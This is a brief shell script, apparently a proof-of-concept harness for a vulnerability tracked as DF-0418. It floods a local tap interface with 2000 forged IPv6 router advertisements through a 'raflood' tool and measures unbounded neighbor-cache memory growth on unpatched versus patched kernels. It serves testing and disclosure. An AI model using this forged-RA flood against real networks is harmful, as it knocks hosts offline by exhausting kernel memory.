DF-0418 / run.sh
#!/bin/sh # DF-0418 run: enable accept_rtadv + inject 2000 forged RAs on tap0. # Root only. Demonstrates unbounded M_IP6NDP growth on an unpatched kernel. cd "$(dirname "$0")" sysctl net.inet6.ip6.accept_rtadv=1 >/dev/null 2>&1 ifconfig tap0 destroy 2>/dev/null; ifconfig tap0 create; ifconfig tap0 up echo "before ndp:"; ndp -an | wc -l ./raflood 2000 >/dev/null 2>&1 echo "after ndp (baseline unpatched ~4000, patched caps at 16 prefixes):" ndp -an | wc -l vmstat -m | grep -i ip6ndp |